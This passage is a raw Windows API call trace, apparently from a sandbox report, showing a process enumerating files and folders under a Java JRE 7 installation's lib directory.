ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.311] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors.properties", cAlternateFileName="")) returned 1 [0088.311] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="invalid32x32.gif", cAlternateFileName="")) returned 1 [0088.311] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_CopyDrop32x32.gif", cAlternateFileName="")) returned 1 [0088.311] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_CopyNoDrop32x32.gif", cAlternateFileName="")) returned 1 [0088.311] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_LinkDrop32x32.gif", cAlternateFileName="")) returned 1 [0088.311] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_LinkNoDrop32x32.gif", cAlternateFileName="")) returned 1 [0088.311] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x93, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveDrop32x32.gif", cAlternateFileName="")) returned 1 [0088.312] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveNoDrop32x32.gif", cAlternateFileName="")) returned 1 [0088.312] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveNoDrop32x32.gif", cAlternateFileName="")) returned 0 [0088.312] GetLastError () returned 0x12 [0088.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250098) returned 1 [0088.312] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130c370) returned 1 [0088.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.313] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors", cAlternateFileName="")) returned 0 [0088.313] GetLastError () returned 0x12 [0088.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.313] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0088.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.314] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="")) returned 1 [0088.314] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7532b480, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7532b480, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x753515e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd9d17, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.jar", cAlternateFileName="")) returned 1 [0088.314] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1aa8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="jce.jar", cAlternateFileName="")) returned 1 [0088.314] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr", cAlternateFileName="")) returned 1 [0088.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.314] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.315] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0088.316] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0088.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132ac20 [0088.316] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132ac20, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x132ac20, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0088.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132ac20) returned 1 [0088.316] NtClose (Handle=0x16c) returned 0x0 [0088.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.317] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0088.317] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.317] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x488e, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.jfc", cAlternateFileName="")) returned 1 [0088.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd5e8 [0088.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250098 [0088.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.319] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4863, dwReserved0=0x0, dwReserved1=0x0, cFileName="profile.jfc", cAlternateFileName="")) returned 1 [0088.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd608 [0088.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.321] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4863, dwReserved0=0x0, dwReserved1=0x0, cFileName="profile.jfc", cAlternateFileName="")) returned 0 [0088.321] GetLastError () returned 0x12 [0088.321] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0088.321] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0088.321] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.321] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x488e, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.jfc", cAlternateFileName="")) returned 1 [0088.321] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4863, dwReserved0=0x0, dwReserved1=0x0, cFileName="profile.jfc", cAlternateFileName="")) returned 1 [0088.321] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4863, dwReserved0=0x0, dwReserved1=0x0, cFileName="profile.jfc", cAlternateFileName="")) returned 0 [0088.321] GetLastError () returned 0x12 [0088.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.321] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.322] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8204f, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0088.322] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7540fcc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7540fcc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xce642c, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxrt.jar", cAlternateFileName="")) returned 1 [0088.322] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7539d8a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7539d8a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x753c3a00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x809cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsse.jar", cAlternateFileName="")) returned 1 [0088.322] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.hprof.txt", cAlternateFileName="")) returned 1 [0088.322] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x997, dwReserved0=0x0, dwReserved1=0x0, cFileName="logging.properties", cAlternateFileName="")) returned 1 [0088.322] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="management", cAlternateFileName="")) returned 1 [0088.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.322] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.323] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0088.325] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0088.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132ac20 [0088.325] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132ac20, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x132ac20, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0088.325] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132ac20) returned 1 [0088.325] NtClose (Handle=0x164) returned 0x0 [0088.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.326] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0088.328] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.328] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.access", cAlternateFileName="")) returned 1 [0088.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.329] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.329] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c370 [0088.330] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.330] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd628 [0088.330] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130e260 [0088.330] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.330] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb28, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.password.template", cAlternateFileName="")) returned 1 [0088.330] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.331] 